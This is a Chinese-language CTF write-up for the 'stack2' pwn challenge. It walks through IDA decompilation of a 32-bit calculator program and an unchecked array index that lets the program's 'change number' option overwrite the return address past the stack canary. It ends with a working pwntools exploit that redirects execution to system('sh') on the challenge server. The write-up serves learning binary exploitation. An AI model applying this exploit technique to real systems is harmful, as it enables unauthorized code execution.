stack2 wp
写这篇博客想要稍微弥补一下我动态调试的不足,这题stack2是pwn题的进阶题也算有些难度了吧(大概吧,我没做出来,大佬勿笑……)
于是想要和这篇博客再重新做一遍理清一下思路。
checksec一下:
开了canary保护、NX保护和部分RELRO保护按经验不是栈溢出题。
IDA分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h] BYREF
unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
int v7; // [esp+20h] [ebp-88h] BYREF
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 99 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
一张图截不下用代码段算了……这题比较失败的地方就是连漏洞都找错了
我开始想将v5赋值成100,然后再第100个数让他足够大把下面溢出覆盖掉,想到有canary压根没法知道,而且数字过于庞大也不好算(太年轻了)大佬笑笑就好
没有注意到下面那个替换数字的代码段可以实现栈上(v13以下)任意位置的改写,这样就可以直接改写返回地址,又可以绕过canary的检查,然后想想编程老师上课就有一题这样的例子,我更想撞墙了。
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
看网上的大佬wp说IDA给的返回地址到v13[0]的地址并不是真实的,因为编译器做了些手脚,在真正编译的时候会有变化(没有尝试没有动态调试的做法)要用动态调试的才是真的
老实说本人挺害怕动态调试的,希望能尽快熟悉掌握……
在IDA中进行反汇编,查看__isoc99_scanf()调用的时候
有个lea edx, [ebp+var_70],lea指令可以把偏移地址存到dx,相当于C语言中的&符号,而var_70就是ebp与v13的偏移量相当于把v13[0]的地址给了edx
于是在动态调试中先在 call __isoc99_scanf()处下个断点 r一下:
单步执行n一直到mov eax, [ebp+var_7C]:
此时查看edx中保存的就是v13[0]的地址为0xffffd438,这个地址每次运行都不会一样,大家自己动手调试。
虽然IDA里的返回地址不准确但是执行ret指令时,肯定esp指针肯定保存的是返回地址于是在ret指令下个断点 r一下:
发现esp指针里的值是0xffffd4bc,0xffffd4bc-0xffffd438=0x84(十六进制)
而IDA里的是0x74显然二者不等。这里还有一个小坑如果这题是在本地打的就可以直接打通了,但如果是远程的话会提示没有bash这里大家可能回去找/bin/sh字符串去填充替代
找当然也可以找到(用我下面说找sh的方法),但是网上说这里的/bin/sh好像是只读的不可执行,其实用sh也可以打通shell我们在pwndbg中这样找:
就可以找到很多,这里我选择用第一个(其他没试过不知道行不行,鼓励尝试)
记录下call system的地址:
上exp:(这个exp也是借鉴网上大佬的,用构造函数的写法确实很方便,学到很多)
from pwn import*
io=remote("61.147.171.105",56314)
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
#addr_call_system = [0xB4,0x85,0x04,0x08] 小端序存储
#addr_sh = [0x87,0x89,0x04,0x08]
def change(addr,num):
io.recvuntil("5. exit\n")
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(num))
change(0x84,0xb4)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)
change(0x88,0x87) #因为32位系统是用栈传递参数的所以,
change(0x89,0x89) #将sh的地址直接接在call system下面
change(0x8a,0x04) #执行call system会直接将其地址的内的内容当做参数
change(0x8b,0x08) #如果是64位系统的话要在call system前
io.sendline("5") #先准备一个pop rdi;ret的garget将sh的地址先弄进rdi就行
io.interactive()
获得shell: